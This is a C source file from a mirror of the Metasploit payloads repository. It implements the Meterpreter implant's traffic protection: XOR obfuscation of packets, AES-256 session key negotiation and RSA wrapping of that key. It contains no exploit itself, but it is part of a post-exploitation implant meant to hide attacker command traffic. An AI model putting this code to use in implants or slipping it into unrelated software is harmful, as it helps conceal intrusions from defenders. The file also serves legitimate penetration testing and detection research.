1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-03-18 15:14:10 +01:00

570 lines
19 KiB
C
Executable File

#include "common.h"
#include "remote.h"
#include "packet_encryption.h"
typedef struct _CryptProviderParams
{
const TCHAR* provider;
const DWORD type;
const DWORD flags;
} CryptProviderParams;
typedef struct _RsaKey
{
BLOBHEADER header;
DWORD length;
BYTE key[1];
} RsaKey;
const CryptProviderParams AesProviders[] =
{
{MS_ENH_RSA_AES_PROV, PROV_RSA_AES, 0},
{MS_ENH_RSA_AES_PROV, PROV_RSA_AES, CRYPT_NEWKEYSET},
{MS_ENH_RSA_AES_PROV_XP, PROV_RSA_AES, 0},
{MS_ENH_RSA_AES_PROV_XP, PROV_RSA_AES, CRYPT_NEWKEYSET}
};
DWORD decrypt_packet(Remote* remote, Packet** packet, LPBYTE buffer, DWORD bufferSize)
{
DWORD result = ERROR_SUCCESS;
Packet* localPacket = NULL;
HCRYPTKEY dupKey = 0;
#ifdef DEBUGTRACE
PUCHAR h = buffer;
vdprintf("[DEC] Packet header: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]",
h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]);
#endif
vdprintf("[DEC] Packet buffer size is: %u", bufferSize);
do
{
PacketHeader* header = (PacketHeader*)buffer;
// Start by decoding the entire packet
xor_bytes(header->xor_key, buffer + sizeof(header->xor_key), bufferSize - sizeof(header->xor_key));
#ifdef DEBUGTRACE
h = buffer;
vdprintf("[DEC] Packet header: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]",
h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]);
#endif
// Allocate a packet structure
if (!(localPacket = (Packet *)calloc(1, sizeof(Packet))))
{
result = ERROR_NOT_ENOUGH_MEMORY;
break;
}
DWORD encFlags = ntohl(header->enc_flags);
vdprintf("[DEC] Encryption flags set to %x", encFlags);
// Only decrypt if the context was set up correctly
if (remote->enc_ctx != NULL && remote->enc_ctx->valid && encFlags != ENC_FLAG_NONE)
{
vdprintf("[DEC] Context is valid, moving on ... ");
LPBYTE payload = buffer + sizeof(PacketHeader);
// the first 16 bytes of the payload we're given is the IV
LPBYTE iv = payload;
vdprintf("[DEC] IV: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
iv[0], iv[1], iv[2], iv[3], iv[4], iv[5], iv[6], iv[7], iv[8], iv[9], iv[10], iv[11], iv[12], iv[13], iv[14], iv[15]);
// the rest of the payload bytes contains the actual encrypted data
DWORD encryptedSize = ntohl(header->length) - sizeof(TlvHeader) - AES256_BLOCKSIZE;
LPBYTE encryptedData = payload + AES256_BLOCKSIZE;
vdprintf("[DEC] Encrypted Size: %u (%x)", encryptedSize, encryptedSize);
vdprintf("[DEC] Encrypted Size mod AES256_BLOCKSIZE: %u", encryptedSize % AES256_BLOCKSIZE);
if (!CryptDuplicateKey(remote->enc_ctx->aes_key, NULL, 0, &dupKey))
{
result = GetLastError();
vdprintf("[DEC] Failed to duplicate key: %d (%x)", result, result);
break;
}
DWORD mode = CRYPT_MODE_CBC;
if (!CryptSetKeyParam(dupKey, KP_MODE, (const BYTE*)&mode, 0))
{
result = GetLastError();
dprintf("[ENC] Failed to set mode to CBC: %d (%x)", result, result);
break;
}
// decrypt!
if (!CryptSetKeyParam(remote->enc_ctx->aes_key, KP_IV, iv, 0))
{
result = GetLastError();
vdprintf("[DEC] Failed to set IV: %d (%x)", result, result);
break;
}
if (!CryptDecrypt(remote->enc_ctx->aes_key, 0, TRUE, 0, encryptedData, &encryptedSize))
{
result = GetLastError();
vdprintf("[DEC] Failed to decrypt: %d (%x)", result, result);
break;
}
// shift the decrypted data back to the start of the packet buffer so that we
// can pretend it's a normal packet
memmove_s(iv, encryptedSize, encryptedData, encryptedSize);
// adjust the header size
header->length = htonl(encryptedSize + sizeof(TlvHeader));
// done, the packet parsing can continue as normal now
}
localPacket->header.length = header->length;
localPacket->header.type = header->type;
localPacket->payloadLength = ntohl(localPacket->header.length) - sizeof(TlvHeader);
vdprintf("[DEC] Actual payload Length: %d", localPacket->payloadLength);
vdprintf("[DEC] Header Type: %d", ntohl(localPacket->header.type));
localPacket->payload = malloc(localPacket->payloadLength);
if (localPacket->payload == NULL)
{
vdprintf("[DEC] failed to allocate payload");
result = ERROR_NOT_ENOUGH_MEMORY;
break;
}
vdprintf("[DEC] Local packet payload successfully allocated, copying data");
memcpy_s(localPacket->payload, localPacket->payloadLength, buffer + sizeof(PacketHeader), localPacket->payloadLength);
#ifdef DEBUGTRACE
h = localPacket->payload;
vdprintf("[DEC] TLV 1 length / type: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]",
h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7]);
DWORD tl = ntohl(((TlvHeader*)h)->length);
vdprintf("[DEC] Skipping %u bytes", tl);
h += tl;
vdprintf("[DEC] TLV 2 length / type: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]",
h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7]);
#endif
vdprintf("[DEC] Writing localpacket %p to packet pointer %p", localPacket, packet);
*packet = localPacket;
} while (0);
if (result != ERROR_SUCCESS)
{
if (localPacket != NULL)
{
packet_destroy(localPacket);
}
}
return result;
}
DWORD encrypt_packet(Remote* remote, Packet* packet, LPBYTE* buffer, LPDWORD bufferSize)
{
DWORD result = ERROR_SUCCESS;
HCRYPTKEY dupKey = 0;
vdprintf("[ENC] Preparing for encryption ...");
// create a new XOR key here, because the content will be copied into the final
// payload as part of the prepration process
rand_xor_key(packet->header.xor_key);
// copy the session ID to the header as this will be used later to identify the packet's destination session
memcpy_s(packet->header.session_guid, sizeof(packet->header.session_guid), remote->orig_config->session.session_guid, sizeof(remote->orig_config->session.session_guid));
// Only encrypt if the context was set up correctly
if (remote->enc_ctx != NULL && remote->enc_ctx->valid)
{
vdprintf("[ENC] Context is valid, moving on ... ");
// only encrypt the packet if encryption has been enabled
if (remote->enc_ctx->enabled)
{
do
{
vdprintf("[ENC] Context is enabled, doing the AES encryption");
if (!CryptDuplicateKey(remote->enc_ctx->aes_key, NULL, 0, &dupKey))
{
result = GetLastError();
vdprintf("[ENC] Failed to duplicate AES key: %d (%x)", result, result);
break;
}
DWORD mode = CRYPT_MODE_CBC;
if (!CryptSetKeyParam(dupKey, KP_MODE, (const BYTE*)&mode, 0))
{
result = GetLastError();
dprintf("[ENC] Failed to set mode to CBC: %d (%x)", result, result);
break;
}
BYTE iv[AES256_BLOCKSIZE];
if (!CryptGenRandom(remote->enc_ctx->provider, sizeof(iv), iv))
{
result = GetLastError();
vdprintf("[ENC] Failed to generate random IV: %d (%x)", result, result);
}
vdprintf("[ENC] IV: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
iv[0], iv[1], iv[2], iv[3], iv[4], iv[5], iv[6], iv[7], iv[8], iv[9], iv[10], iv[11], iv[12], iv[13], iv[14], iv[15]);
if (!CryptSetKeyParam(dupKey, KP_IV, iv, 0))
{
result = GetLastError();
vdprintf("[ENC] Failed to set IV: %d (%x)", result, result);
break;
}
vdprintf("[ENC] IV Set successfully");
// mark this packet as an encrypted packet
packet->header.enc_flags = htonl(ENC_FLAG_AES256);
// Round up
DWORD maxEncryptSize = ((packet->payloadLength / AES256_BLOCKSIZE) + 1) * AES256_BLOCKSIZE;
// Need to have space for the IV at the start, as well as the packet Header
DWORD memSize = maxEncryptSize + sizeof(iv) + sizeof(packet->header);
*buffer = (BYTE*)malloc(memSize);
BYTE* headerPos = *buffer;
BYTE* ivPos = headerPos + sizeof(packet->header);
BYTE* payloadPos = ivPos + sizeof(iv);
*bufferSize = packet->payloadLength;
// prepare the payload
memcpy_s(payloadPos, packet->payloadLength, packet->payload, packet->payloadLength);
if (!CryptEncrypt(dupKey, 0, TRUE, 0, payloadPos, bufferSize, maxEncryptSize))
{
result = GetLastError();
vdprintf("[ENC] Failed to encrypt: %d (%x)", result, result);
}
else
{
vdprintf("[ENC] Data encrypted successfully, size is %u", *bufferSize);
}
// update the length to match the size of the encrypted data with IV and the TlVHeader
packet->header.length = ntohl(*bufferSize + sizeof(iv) + sizeof(TlvHeader));
// update the returned total size to include both the IV and header size.
*bufferSize += sizeof(iv) + sizeof(packet->header);
// write the header and IV to the payload
memcpy_s(headerPos, sizeof(packet->header), &packet->header, sizeof(packet->header));
memcpy_s(ivPos, sizeof(iv), iv, sizeof(iv));
} while (0);
}
else
{
dprintf("[ENC] Enabling the context");
// if the encryption is valid, then we set the enbaled flag here because
// we know that the first packet going out is the response to the negotiation
// and from here we want to make sure that the encryption function is on.
remote->enc_ctx->enabled = TRUE;
}
}
else
{
vdprintf("[ENC] No encryption context present");
}
// if we don't have a valid buffer at this point, we'll create one and add the packet as per normal
if (*buffer == NULL)
{
*bufferSize = packet->payloadLength + sizeof(packet->header);
*buffer = (BYTE*)malloc(*bufferSize);
BYTE* headerPos = *buffer;
BYTE* payloadPos = headerPos + sizeof(packet->header);
// mark this packet as a non-encrypted packet
packet->header.enc_flags = htonl(ENC_FLAG_NONE);
memcpy_s(headerPos, sizeof(packet->header), &packet->header, sizeof(packet->header));
memcpy_s(payloadPos, packet->payloadLength, packet->payload, packet->payloadLength);
}
vdprintf("[ENC] Packet buffer size is: %u", *bufferSize);
#ifdef DEBUGTRACE
LPBYTE h = *buffer;
vdprintf("[ENC] Sending header (before XOR): [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]",
h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]);
#endif
// finally XOR obfuscate like we always did before, skippig the xor key itself.
xor_bytes(packet->header.xor_key, *buffer + sizeof(packet->header.xor_key), *bufferSize - sizeof(packet->header.xor_key));
vdprintf("[ENC] Packet encoded and ready for transmission");
#ifdef DEBUGTRACE
vdprintf("[ENC] Sending header (after XOR): [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]",
h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]);
#endif
if (dupKey != 0)
{
CryptDestroyKey(dupKey);
}
return result;
}
DWORD public_key_encrypt(CHAR* publicKeyPem, unsigned char* data, DWORD dataLength, unsigned char** encryptedData, DWORD* encryptedDataLength)
{
DWORD result = ERROR_SUCCESS;
LPBYTE pubKeyBin = NULL;
CERT_PUBLIC_KEY_INFO* pubKeyInfo = NULL;
HCRYPTPROV rsaProv = 0;
HCRYPTKEY pubCryptKey = 0;
LPBYTE cipherText = NULL;
do
{
if (publicKeyPem == NULL)
{
result = ERROR_BAD_ARGUMENTS;
break;
}
DWORD binaryRequiredSize = 0;
CryptStringToBinaryA(publicKeyPem, 0, CRYPT_STRING_BASE64HEADER, NULL, &binaryRequiredSize, NULL, NULL);
dprintf("[ENC] Required size for the binary key is: %u (%x)", binaryRequiredSize, binaryRequiredSize);
pubKeyBin = (LPBYTE)malloc(binaryRequiredSize);
if (pubKeyBin == NULL)
{
result = ERROR_OUTOFMEMORY;
break;
}
if (!CryptStringToBinaryA(publicKeyPem, 0, CRYPT_STRING_BASE64HEADER, pubKeyBin, &binaryRequiredSize, NULL, NULL))
{
result = GetLastError();
dprintf("[ENC] Failed to convert the given base64 encoded key into bytes: %u (%x)", result, result);
break;
}
DWORD keyRequiredSize = 0;
if (!CryptDecodeObjectEx(X509_ASN_ENCODING, X509_PUBLIC_KEY_INFO, pubKeyBin, binaryRequiredSize, CRYPT_ENCODE_ALLOC_FLAG, 0, &pubKeyInfo, &keyRequiredSize))
{
result = GetLastError();
dprintf("[ENC] Failed to decode: %u (%x)", result, result);
break;
}
dprintf("[ENC] Key algo: %s", pubKeyInfo->Algorithm.pszObjId);
if (!CryptAcquireContext(&rsaProv, NULL, MS_ENHANCED_PROV, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT))
{
dprintf("[ENC] Failed to create the RSA provider with CRYPT_VERIFYCONTEXT");
if (!CryptAcquireContext(&rsaProv, NULL, MS_ENHANCED_PROV, PROV_RSA_FULL, CRYPT_NEWKEYSET))
{
result = GetLastError();
dprintf("[ENC] Failed to create the RSA provider with CRYPT_NEWKEYSET: %u (%x)", result, result);
break;
}
else
{
dprintf("[ENC] Created the RSA provider with CRYPT_NEWKEYSET");
}
}
else
{
dprintf("[ENC] Created the RSA provider with CRYPT_VERIFYCONTEXT");
}
if (!CryptImportPublicKeyInfo(rsaProv, X509_ASN_ENCODING, pubKeyInfo, &pubCryptKey))
{
result = GetLastError();
dprintf("[ENC] Failed to import the key: %u (%x)", result, result);
break;
}
DWORD requiredEncSize = dataLength;
CryptEncrypt(pubCryptKey, 0, TRUE, 0, NULL, &requiredEncSize, requiredEncSize);
dprintf("[ENC] Encrypted data length: %u (%x)", requiredEncSize, requiredEncSize);
cipherText = (LPBYTE)calloc(1, requiredEncSize);
if (cipherText == NULL)
{
result = ERROR_OUTOFMEMORY;
break;
}
memcpy_s(cipherText, requiredEncSize, data, dataLength);
if (!CryptEncrypt(pubCryptKey, 0, TRUE, 0, cipherText, &dataLength, requiredEncSize))
{
result = GetLastError();
dprintf("[ENC] Failed to encrypt: %u (%x)", result, result);
}
else
{
dprintf("[ENC] Encryption witih RSA succeded, byteswapping because MS is stupid and does stuff in little endian.");
// Given that we are encrypting such a small amount of data, we're going to assume that the size
// of the key matches the size of the block of data we've decrypted.
for (DWORD i = 0; i < requiredEncSize / 2; ++i)
{
BYTE b = cipherText[i];
cipherText[i] = cipherText[requiredEncSize - i - 1];
cipherText[requiredEncSize - i - 1] = b;
}
*encryptedData = cipherText;
*encryptedDataLength = requiredEncSize;
}
} while (0);
if (result != ERROR_SUCCESS)
{
if (cipherText != NULL)
{
free(cipherText);
}
}
if (pubKeyInfo != NULL)
{
LocalFree(pubKeyInfo);
}
if (pubCryptKey != 0)
{
CryptDestroyKey(pubCryptKey);
}
if (rsaProv != 0)
{
CryptReleaseContext(rsaProv, 0);
}
return result;
}
DWORD free_encryption_context(Remote* remote)
{
DWORD result = ERROR_SUCCESS;
dprintf("[ENC] Freeing encryption context %p", remote->enc_ctx);
if (remote->enc_ctx != NULL)
{
dprintf("[ENC] Encryption context not null, so ditching AES key %ul", remote->enc_ctx->aes_key);
if (remote->enc_ctx->aes_key != 0)
{
CryptDestroyKey(remote->enc_ctx->aes_key);
}
dprintf("[ENC] Encryption context not null, so ditching provider");
if (remote->enc_ctx->provider != 0)
{
CryptReleaseContext(remote->enc_ctx->provider, 0);
}
dprintf("[ENC] Encryption context not null, so freeing the context");
free(remote->enc_ctx);
remote->enc_ctx = NULL;
}
return result;
}
DWORD request_negotiate_aes_key(Remote* remote, Packet* packet)
{
DWORD result = ERROR_SUCCESS;
Packet* response = packet_create_response(packet);
do
{
if (remote->enc_ctx != NULL)
{
free_encryption_context(remote);
}
remote->enc_ctx = (PacketEncryptionContext*)calloc(1, sizeof(PacketEncryptionContext));
if (remote->enc_ctx == NULL)
{
dprintf("[ENC] failed to allocate the encryption context");
result = ERROR_OUTOFMEMORY;
break;
}
PacketEncryptionContext* ctx = remote->enc_ctx;
for (int i = 0; i < _countof(AesProviders); ++i)
{
if (!CryptAcquireContext(&ctx->provider, NULL, AesProviders[i].provider, AesProviders[i].type, AesProviders[i].flags))
{
result = GetLastError();
dprintf("[ENC] failed to acquire the crypt context %d: %d (%x)", i, result, result);
}
else
{
result = ERROR_SUCCESS;
ctx->provider_idx = i;
dprintf("[ENC] managed to acquire the crypt context %d!", i);
break;
}
}
if (result != ERROR_SUCCESS)
{
break;
}
ctx->key_data.header.bType = PLAINTEXTKEYBLOB;
ctx->key_data.header.bVersion = CUR_BLOB_VERSION;
ctx->key_data.header.aiKeyAlg = CALG_AES_256;
ctx->key_data.length = sizeof(ctx->key_data.key);
if (!CryptGenRandom(ctx->provider, ctx->key_data.length, ctx->key_data.key))
{
result = GetLastError();
dprintf("[ENC] failed to generate random key: %d (%x)", result, result);
break;
}
if (!CryptImportKey(ctx->provider, (const BYTE*)&ctx->key_data, sizeof(Aes256Key), 0, 0, &ctx->aes_key))
{
result = GetLastError();
dprintf("[ENC] failed to import random key: %d (%x)", result, result);
break;
}
// now we need to encrypt this key data using the public key given
CHAR* pubKeyPem = packet_get_tlv_value_string(packet, TLV_TYPE_RSA_PUB_KEY);
unsigned char* cipherText = NULL;
DWORD cipherTextLength = 0;
DWORD pubEncryptResult = public_key_encrypt(pubKeyPem, remote->enc_ctx->key_data.key, remote->enc_ctx->key_data.length, &cipherText, &cipherTextLength);
packet_add_tlv_uint(response, TLV_TYPE_SYM_KEY_TYPE, ENC_FLAG_AES256);
if (pubEncryptResult == ERROR_SUCCESS && cipherText != NULL)
{
// encryption succeeded, pass this key back to the call in encrypted form
packet_add_tlv_raw(response, TLV_TYPE_ENC_SYM_KEY, cipherText, cipherTextLength);
free(cipherText);
}
else
{
// no public key was given, so send it back in the raw
packet_add_tlv_raw(response, TLV_TYPE_SYM_KEY, remote->enc_ctx->key_data.key, remote->enc_ctx->key_data.length);
}
ctx->valid = TRUE;
} while (0);
packet_transmit_response(result, remote, response);
remote->enc_ctx->enabled = TRUE;
return ERROR_SUCCESS;
}